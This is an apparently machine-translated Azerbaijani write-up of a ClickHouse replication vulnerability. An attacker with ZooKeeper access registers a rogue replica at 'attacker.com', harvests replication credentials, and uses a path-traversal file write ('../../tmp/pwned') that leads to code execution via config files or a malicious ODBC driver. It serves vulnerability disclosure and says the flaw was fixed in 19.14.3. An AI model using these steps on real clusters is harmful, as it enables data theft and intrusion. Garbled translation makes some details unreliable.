Bu məqalə ClickHouse replikasiya protokolunda çox spesifik zəifliyin hekayəsindən bəhs edəcək və həmçinin hücum səthinin necə genişləndirilə biləcəyini göstərəcək.
ClickHouse, çox vaxt birdən çox replikadan istifadə edən böyük həcmli məlumatların saxlanması üçün verilənlər bazasıdır. ClickHouse-da klasterləşdirmə və təkrarlama yuxarıda qurulmuşdur
Standart ZK quraşdırması autentifikasiya tələb etmir, buna görə də Kafka, Hadoop, ClickHouse-u konfiqurasiya etmək üçün istifadə edilən minlərlə ZK serveri ictimaiyyətə açıqdır.
Hücum səthinizi azaltmaq üçün ZooKeeper quraşdırarkən həmişə autentifikasiya və avtorizasiyanı konfiqurasiya etməlisiniz.
Əlbəttə ki, bəzi 0gün əsaslı Java-nın seriyadan çıxarılması var, lakin təsəvvür edin ki, təcavüzkar ClickHouse replikasiyası üçün istifadə olunan ZooKeeper-da oxuya və yaza bilər.
Klaster rejimində konfiqurasiya edildikdə, ClickHouse paylanmış sorğuları dəstəkləyir /clickhouse/task_queue/ddl
.
Məsələn, bir node yaradırsınız /clickhouse/task_queue/ddl/query-0001
məzmunu ilə:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
və bundan sonra test cədvəli host1 və host2 klaster serverlərində silinəcək. DDL həmçinin CREATE/ALTER/DROP sorğularının icrasını dəstəkləyir.
Qorxulu səslənir? Bəs təcavüzkar server ünvanlarını haradan əldə edə bilər?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
qovşaqlar yaradılacaq sütunları и metadata.
Məzmun /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Bu klasterdən məlumatları birləşdirmək mümkündürmü? Bəli, əgər replikasiya portu (TCP/9009
) serverdə chXX-address
firewall bağlanmayacaq və təkrarlama üçün autentifikasiya konfiqurasiya edilməyəcək. Doğrulamanı necə keçmək olar?
Təcavüzkar sadəcə məzmunu kopyalayaraq ZK-da yeni replika yarada bilər /clickhouse/tables/01-01/foobar/replicas/chXX
və mənasını dəyişdirir host
.
Məzmun /clickhouse/tables/01–01/foobar/replikalar/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Sonra digər replikalara təcavüzkarın serverində götürməli olduqları yeni bir məlumat blokunun olduğunu söyləməlisiniz - ZK-da bir qovşaq yaradılır. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monoton böyüyən sayğac, hadisə jurnalında sonuncudan böyük olmalıdır):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
hara mənbə_replikası — əvvəlki addımda yaradılmış təcavüzkarın replikasının adı, blok_id - verilənlər blokunun identifikatoru, almaq - "blok alın" əmri (və
Sonra, hər bir replika jurnalda yeni hadisəni oxuyur və məlumat blokunu almaq üçün təcavüzkar tərəfindən idarə olunan serverə keçir (replikasiya protokolu ikilidir, HTTP üzərində işləyir). Server attacker.com
sorğular alacaq:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
burada XXX replikasiya üçün autentifikasiya məlumatlarıdır. Bəzi hallarda bu, əsas ClickHouse protokolu və HTTP protokolu vasitəsilə verilənlər bazasına çıxışı olan hesab ola bilər. Gördüyünüz kimi, replikasiya üçün istifadə edilən ZooKeeper identifikasiyası konfiqurasiya edilmədən qaldığından hücum səthi kritik dərəcədə böyüyür.
Replikadan verilənlər blokunun alınması funksiyasına baxaq, tam əminliklə yazılmışdır ki, bütün replikalar lazımi nəzarət altındadır və onlar arasında etimad var.
təkrar emal kodu
Funksiya faylların siyahısını, sonra adlarını, ölçülərini, məzmununu oxuyur və sonra onları fayl sisteminə yazır. Məlumatların fayl sistemində necə saxlandığını ayrıca təsvir etməyə dəyər.
Bir neçə alt qovluq var /var/lib/clickhouse
(konfiqurasiya faylından standart yaddaş qovluğu):
bayraqları - qeyd üçün kataloq
tmp — müvəqqəti faylların saxlanması üçün kataloq;
istifadəçi_faylları — sorğulardakı fayllarla əməliyyatlar bu kataloqla məhdudlaşır (INTO OUTFILE və başqaları);
metadata — cədvəl təsvirləri olan sql faylları;
əvvəlcədən işlənmiş_konfiqurasiyalar -dən işlənmiş törəmə konfiqurasiya faylları /etc/clickhouse-server
;
məlumat - verilənlərin özü ilə faktiki kataloq, bu halda hər bir verilənlər bazası üçün sadəcə burada ayrıca alt kataloq yaradılır (məsələn, /var/lib/clickhouse/data/default
).
Hər bir cədvəl üçün verilənlər bazası kataloqunda alt kataloq yaradılır. Hər sütun asılı olaraq ayrı bir fayldır
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika verilənlər blokunu emal edərkən eyni adlı faylları qəbul etməyi gözləyir və onları heç bir şəkildə təsdiq etmir.
Diqqətli oxucu, yəqin ki, funksiyada fayl_adının təhlükəli birləşməsini artıq eşitmişdir WriteBufferFromFile
. Bəli, bu, təcavüzkarın FS-də istifadəçi hüquqları ilə istənilən fayla ixtiyari məzmun yazmasına imkan verir clickhouse
. Bunun üçün təcavüzkar tərəfindən idarə olunan replika sorğuya aşağıdakı cavabı qaytarmalıdır (anlaşılma asanlığı üçün sətir fasilələri əlavə edilmişdir):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
və birləşmədən sonra ../../../../../../../../../tmp/pwned
fayl yazılacaq /tmp/pwned məzmunu ilə salam zookeeper.
Fayl yazma qabiliyyətini uzaqdan kod icrasına (RCE) çevirmək üçün bir neçə variant var.
RCE-də xarici lüğətlər
Köhnə versiyalarda ClickHouse parametrləri olan kataloq istifadəçi hüquqları ilə saxlanılırdı klik evi default. Parametrlər faylları xidmətin başlanğıcda oxuduğu və sonra yaddaşda saxladığı XML fayllarıdır /var/lib/clickhouse/preprocessed_configs
. Dəyişikliklər baş verdikdə, onlar yenidən oxunur. Əgər imkanınız varsa /etc/clickhouse-server
təcavüzkar özünü yarada bilər root
.
ODBC-dən RCE-yə
Paketi quraşdırarkən istifadəçi yaradılır clickhouse
, lakin onun ev kataloqu yaradılmayıb /nonexistent
. Bununla belə, xarici lüğətlərdən istifadə edərkən və ya başqa səbəblərdən idarəçilər kataloq yaradırlar /nonexistent
və istifadəçiyə verin clickhouse
ona yazmaq imkanı (SSZB! təqribən. tərcüməçi).
ClickHouse dəstəkləyir odbc-bridge
, buna görə də sorğudan sürücü yolunu təyin etmək artıq mümkün deyil. Bəs təcavüzkar yuxarıda təsvir edilən boşluqdan istifadə edərək ev kataloquna yaza bilərmi?
Gəlin fayl yaradaq ~/.odbc.ini
bu kimi məzmunla:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
sonra başlanğıcda SELECT * FROM odbc('DSN=lalala', 'test', 'test');
kitabxana yüklənəcək test.so
və RCE aldı (təşəkkürlər
Bu və digər boşluqlar ClickHouse 19.14.3 versiyasında aradan qaldırılıb. ClickHouse və ZooKeepers qayğısına qalın!
Mənbə: www.habr.com